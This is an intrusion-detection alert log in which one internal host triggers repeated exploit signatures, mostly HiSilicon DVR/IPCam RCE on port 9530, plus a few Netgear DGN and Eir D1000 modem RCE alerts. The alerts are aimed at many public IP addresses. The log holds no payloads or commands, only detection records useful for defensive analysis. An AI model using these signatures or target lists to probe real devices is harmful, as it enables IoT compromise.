05/16/24-16:38:59.584481	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38418	9530	192.168.2.23	204.59.62.37
05/16/24-16:39:12.384504	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33202	9530	192.168.2.23	17.44.31.52
05/16/24-16:39:12.384504	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33202	9530	192.168.2.23	17.44.31.52
05/16/24-16:39:12.382139	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55558	9530	192.168.2.23	38.243.42.18
05/16/24-16:39:12.382139	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55558	9530	192.168.2.23	38.243.42.18
05/16/24-16:38:57.411448	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42438	9530	192.168.2.23	12.203.201.102
05/16/24-16:38:57.411448	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42438	9530	192.168.2.23	12.203.201.102
05/16/24-16:38:50.080375	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35468	9530	192.168.2.23	207.226.253.81
05/16/24-16:38:50.080375	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35468	9530	192.168.2.23	207.226.253.81
05/16/24-16:39:05.711693	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43790	9530	192.168.2.23	1.145.61.99
05/16/24-16:39:05.711693	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43790	9530	192.168.2.23	1.145.61.99
05/16/24-16:39:05.675833	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57936	9530	192.168.2.23	90.173.235.158
05/16/24-16:39:12.378500	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54082	9530	192.168.2.23	71.47.151.236
05/16/24-16:39:05.675833	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57936	9530	192.168.2.23	90.173.235.158
05/16/24-16:39:05.694706	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40052	9530	192.168.2.23	141.141.169.188
05/16/24-16:39:05.694706	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40052	9530	192.168.2.23	141.141.169.188
05/16/24-16:39:12.378500	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54082	9530	192.168.2.23	71.47.151.236
05/16/24-16:38:50.080371	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57802	9530	192.168.2.23	220.176.231.41
05/16/24-16:38:50.080371	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57802	9530	192.168.2.23	220.176.231.41
05/16/24-16:39:02.743860	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43908	9530	192.168.2.23	147.110.247.240
05/16/24-16:39:02.743860	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43908	9530	192.168.2.23	147.110.247.240
05/16/24-16:38:59.559283	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43498	9530	192.168.2.23	134.143.29.128
05/16/24-16:38:59.559283	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43498	9530	192.168.2.23	134.143.29.128
05/16/24-16:38:50.063943	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33452	9530	192.168.2.23	1.109.32.78
05/16/24-16:38:50.063943	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33452	9530	192.168.2.23	1.109.32.78
05/16/24-16:39:16.580814	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41776	9530	192.168.2.23	99.151.19.44
05/16/24-16:39:16.580814	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41776	9530	192.168.2.23	99.151.19.44
05/16/24-16:38:55.206802	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50004	9530	192.168.2.23	202.112.86.48
05/16/24-16:39:05.679593	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39712	9530	192.168.2.23	85.86.10.41
05/16/24-16:38:55.206802	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50004	9530	192.168.2.23	202.112.86.48
05/16/24-16:39:05.679593	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39712	9530	192.168.2.23	85.86.10.41
05/16/24-16:39:08.041738	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51732	9530	192.168.2.23	154.241.111.14
05/16/24-16:39:08.041738	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51732	9530	192.168.2.23	154.241.111.14
05/16/24-16:39:16.606006	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33436	9530	192.168.2.23	126.50.207.91
05/16/24-16:39:16.606006	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33436	9530	192.168.2.23	126.50.207.91
05/16/24-16:38:55.176105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37946	9530	192.168.2.23	163.132.67.80
05/16/24-16:38:55.192800	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59976	9530	192.168.2.23	132.182.113.191
05/16/24-16:39:02.767175	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35196	9530	192.168.2.23	178.27.182.127
05/16/24-16:38:55.192800	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59976	9530	192.168.2.23	132.182.113.191
05/16/24-16:39:14.524545	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52500	9530	192.168.2.23	198.165.0.145
05/16/24-16:39:02.767175	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35196	9530	192.168.2.23	178.27.182.127
05/16/24-16:39:14.524545	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52500	9530	192.168.2.23	198.165.0.145
05/16/24-16:38:55.176105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37946	9530	192.168.2.23	163.132.67.80
05/16/24-16:39:05.678412	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34836	9530	192.168.2.23	119.158.33.79
05/16/24-16:39:05.699905	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40326	9530	192.168.2.23	62.214.149.177
05/16/24-16:39:05.678412	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34836	9530	192.168.2.23	119.158.33.79
05/16/24-16:39:05.699905	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40326	9530	192.168.2.23	62.214.149.177
05/16/24-16:38:57.407570	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54390	9530	192.168.2.23	134.108.60.32
05/16/24-16:38:57.407570	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54390	9530	192.168.2.23	134.108.60.32
05/16/24-16:39:14.510005	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38910	9530	192.168.2.23	61.88.178.81
05/16/24-16:39:14.510005	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38910	9530	192.168.2.23	61.88.178.81
05/16/24-16:38:55.226344	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54126	9530	192.168.2.23	196.9.233.194
05/16/24-16:38:55.226344	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54126	9530	192.168.2.23	196.9.233.194
05/16/24-16:38:55.207735	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54894	9530	192.168.2.23	126.251.22.103
05/16/24-16:38:55.207735	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54894	9530	192.168.2.23	126.251.22.103
05/16/24-16:39:12.295311	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53514	9530	192.168.2.23	1.67.95.176
05/16/24-16:39:12.295311	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53514	9530	192.168.2.23	1.67.95.176
05/16/24-16:39:14.492238	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32946	9530	192.168.2.23	163.56.215.21
05/16/24-16:39:14.492238	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32946	9530	192.168.2.23	163.56.215.21
05/16/24-16:39:08.146077	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54350	9530	192.168.2.23	18.95.85.220
05/16/24-16:39:08.146077	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54350	9530	192.168.2.23	18.95.85.220
05/16/24-16:39:12.301136	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57882	9530	192.168.2.23	117.167.4.208
05/16/24-16:38:55.198247	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45054	9530	192.168.2.23	203.40.99.90
05/16/24-16:39:12.301136	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57882	9530	192.168.2.23	117.167.4.208
05/16/24-16:38:55.198247	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45054	9530	192.168.2.23	203.40.99.90
05/16/24-16:39:05.678448	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49728	9530	192.168.2.23	69.50.72.177
05/16/24-16:39:05.678448	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49728	9530	192.168.2.23	69.50.72.177
05/16/24-16:39:05.715229	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50906	9530	192.168.2.23	73.179.187.101
05/16/24-16:39:05.715229	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50906	9530	192.168.2.23	73.179.187.101
05/16/24-16:38:59.589131	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55740	9530	192.168.2.23	186.179.149.189
05/16/24-16:38:59.589131	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55740	9530	192.168.2.23	186.179.149.189
05/16/24-16:39:12.301081	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53552	9530	192.168.2.23	110.125.122.36
05/16/24-16:39:12.401824	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35274	9530	192.168.2.23	159.218.35.202
05/16/24-16:39:12.401824	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35274	9530	192.168.2.23	159.218.35.202
05/16/24-16:39:08.041208	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43936	9530	192.168.2.23	161.133.201.92
05/16/24-16:39:14.492368	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37952	9530	192.168.2.23	187.50.227.98
05/16/24-16:39:14.492368	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37952	9530	192.168.2.23	187.50.227.98
05/16/24-16:38:50.075674	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37972	9530	192.168.2.23	32.181.38.181
05/16/24-16:39:08.041208	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43936	9530	192.168.2.23	161.133.201.92
05/16/24-16:38:50.075674	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37972	9530	192.168.2.23	32.181.38.181
05/16/24-16:39:05.676000	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35484	9530	192.168.2.23	81.140.79.140
05/16/24-16:39:05.676000	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35484	9530	192.168.2.23	81.140.79.140
05/16/24-16:38:59.604410	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40206	9530	192.168.2.23	218.147.130.88
05/16/24-16:38:59.604410	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40206	9530	192.168.2.23	218.147.130.88
05/16/24-16:38:57.409029	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37618	9530	192.168.2.23	95.196.178.18
05/16/24-16:38:50.053182	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42926	9530	192.168.2.23	218.57.12.46
05/16/24-16:38:50.053182	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42926	9530	192.168.2.23	218.57.12.46
05/16/24-16:39:16.613575	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36330	9530	192.168.2.23	53.149.226.14
05/16/24-16:38:49.922529	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38650	5555	192.168.2.23	213.47.195.110
05/16/24-16:39:16.613575	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36330	9530	192.168.2.23	53.149.226.14
05/16/24-16:38:55.193089	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57690	9530	192.168.2.23	51.83.55.247
05/16/24-16:38:55.198151	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52806	9530	192.168.2.23	142.175.224.134
05/16/24-16:38:55.193089	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57690	9530	192.168.2.23	51.83.55.247
05/16/24-16:38:55.198151	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52806	9530	192.168.2.23	142.175.224.134
05/16/24-16:38:59.587390	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49256	9530	192.168.2.23	157.9.81.107
05/16/24-16:38:59.587390	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49256	9530	192.168.2.23	157.9.81.107
05/16/24-16:39:05.699178	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35896	9530	192.168.2.23	167.159.30.226
05/16/24-16:39:16.579423	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59508	9530	192.168.2.23	196.102.138.89
05/16/24-16:38:55.195832	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53448	9530	192.168.2.23	181.237.49.32
05/16/24-16:39:05.699178	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35896	9530	192.168.2.23	167.159.30.226
05/16/24-16:39:16.579423	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59508	9530	192.168.2.23	196.102.138.89
05/16/24-16:38:55.195832	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53448	9530	192.168.2.23	181.237.49.32
05/16/24-16:39:12.298231	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47862	9530	192.168.2.23	44.48.228.217
05/16/24-16:39:12.298231	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47862	9530	192.168.2.23	44.48.228.217
05/16/24-16:39:05.506497	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	58226	80	192.168.2.23	193.213.19.125
05/16/24-16:39:13.665738	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	49922	80	192.168.2.23	174.215.71.75
05/16/24-16:39:02.727984	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52178	9530	192.168.2.23	197.210.177.158
05/16/24-16:39:02.727984	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52178	9530	192.168.2.23	197.210.177.158
05/16/24-16:39:12.384439	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38546	9530	192.168.2.23	86.246.161.167
05/16/24-16:39:08.146415	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43428	9530	192.168.2.23	42.15.93.228
05/16/24-16:39:08.146415	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43428	9530	192.168.2.23	42.15.93.228
05/16/24-16:39:08.124477	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39636	9530	192.168.2.23	200.14.97.197
05/16/24-16:39:08.124477	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39636	9530	192.168.2.23	200.14.97.197
05/16/24-16:38:53.071312	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45020	9530	192.168.2.23	175.117.236.38
05/16/24-16:38:57.304664	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42556	9530	192.168.2.23	156.201.173.88
05/16/24-16:38:53.071312	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45020	9530	192.168.2.23	175.117.236.38
05/16/24-16:38:57.304664	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42556	9530	192.168.2.23	156.201.173.88
05/16/24-16:38:57.411157	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47740	9530	192.168.2.23	179.68.7.238
05/16/24-16:38:57.411157	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47740	9530	192.168.2.23	179.68.7.238
05/16/24-16:39:12.384439	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38546	9530	192.168.2.23	86.246.161.167
05/16/24-16:38:57.448983	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42374	9530	192.168.2.23	157.32.161.91
05/16/24-16:38:57.435635	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33084	9530	192.168.2.23	52.64.55.179
05/16/24-16:38:57.435635	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33084	9530	192.168.2.23	52.64.55.179
05/16/24-16:39:08.149444	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35336	9530	192.168.2.23	53.29.143.100
05/16/24-16:39:08.149444	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35336	9530	192.168.2.23	53.29.143.100
05/16/24-16:39:12.382067	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60574	9530	192.168.2.23	223.49.185.161
05/16/24-16:39:12.382067	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60574	9530	192.168.2.23	223.49.185.161
05/16/24-16:39:08.149123	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39060	9530	192.168.2.23	99.174.97.218
05/16/24-16:39:08.149123	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39060	9530	192.168.2.23	99.174.97.218
05/16/24-16:39:14.511689	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40056	9530	192.168.2.23	59.100.178.8
05/16/24-16:39:03.277940	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57576	9530	192.168.2.23	204.61.178.41
05/16/24-16:39:14.511689	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40056	9530	192.168.2.23	59.100.178.8
05/16/24-16:39:03.277940	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57576	9530	192.168.2.23	204.61.178.41
05/16/24-16:38:53.099171	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58638	9530	192.168.2.23	96.85.237.196
05/16/24-16:39:16.604375	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40506	9530	192.168.2.23	136.135.253.84
05/16/24-16:38:53.099171	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58638	9530	192.168.2.23	96.85.237.196
05/16/24-16:39:08.125404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47630	9530	192.168.2.23	130.242.25.119
05/16/24-16:39:08.124514	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49958	9530	192.168.2.23	204.171.129.106
05/16/24-16:39:16.604375	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40506	9530	192.168.2.23	136.135.253.84
05/16/24-16:39:03.260941	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35082	9530	192.168.2.23	5.50.125.33
05/16/24-16:39:08.124514	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49958	9530	192.168.2.23	204.171.129.106
05/16/24-16:39:08.125404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47630	9530	192.168.2.23	130.242.25.119
05/16/24-16:38:57.433026	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36484	9530	192.168.2.23	132.50.15.39
05/16/24-16:38:59.584432	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58886	9530	192.168.2.23	137.152.92.165
05/16/24-16:38:57.433026	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36484	9530	192.168.2.23	132.50.15.39
05/16/24-16:38:59.584432	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58886	9530	192.168.2.23	137.152.92.165
05/16/24-16:38:59.519358	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33622	9530	192.168.2.23	187.246.159.202
05/16/24-16:39:03.260941	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35082	9530	192.168.2.23	5.50.125.33
05/16/24-16:39:16.580487	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52830	9530	192.168.2.23	112.210.77.212
05/16/24-16:38:59.519358	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33622	9530	192.168.2.23	187.246.159.202
05/16/24-16:39:16.580487	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52830	9530	192.168.2.23	112.210.77.212
05/16/24-16:39:14.532775	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58138	9530	192.168.2.23	91.159.33.30
05/16/24-16:39:14.507768	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34846	9530	192.168.2.23	151.66.40.35
05/16/24-16:39:14.532775	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58138	9530	192.168.2.23	91.159.33.30
05/16/24-16:39:14.507768	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34846	9530	192.168.2.23	151.66.40.35
05/16/24-16:39:16.614347	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40452	9530	192.168.2.23	149.137.1.147
05/16/24-16:39:16.614347	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40452	9530	192.168.2.23	149.137.1.147
05/16/24-16:38:53.065640	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50640	9530	192.168.2.23	111.251.245.246
05/16/24-16:38:53.065640	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50640	9530	192.168.2.23	111.251.245.246
05/16/24-16:39:16.579396	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47962	9530	192.168.2.23	17.78.92.76
05/16/24-16:39:16.579396	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47962	9530	192.168.2.23	17.78.92.76
05/16/24-16:39:02.748810	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54146	9530	192.168.2.23	132.198.223.140
05/16/24-16:39:02.748810	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54146	9530	192.168.2.23	132.198.223.140
05/16/24-16:39:05.676341	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46774	9530	192.168.2.23	145.141.52.158
05/16/24-16:39:05.676341	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46774	9530	192.168.2.23	145.141.52.158
05/16/24-16:39:08.123578	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47510	9530	192.168.2.23	107.18.145.170
05/16/24-16:39:08.123578	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47510	9530	192.168.2.23	107.18.145.170
05/16/24-16:38:55.198247	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49330	9530	192.168.2.23	173.145.142.184
05/16/24-16:38:55.198247	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49330	9530	192.168.2.23	173.145.142.184
05/16/24-16:39:08.127165	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60054	9530	192.168.2.23	90.97.229.189
05/16/24-16:39:08.127165	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60054	9530	192.168.2.23	90.97.229.189
05/16/24-16:39:16.605744	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46926	9530	192.168.2.23	111.134.203.78
05/16/24-16:38:55.206827	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60752	9530	192.168.2.23	134.13.20.150
05/16/24-16:39:16.605744	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46926	9530	192.168.2.23	111.134.203.78
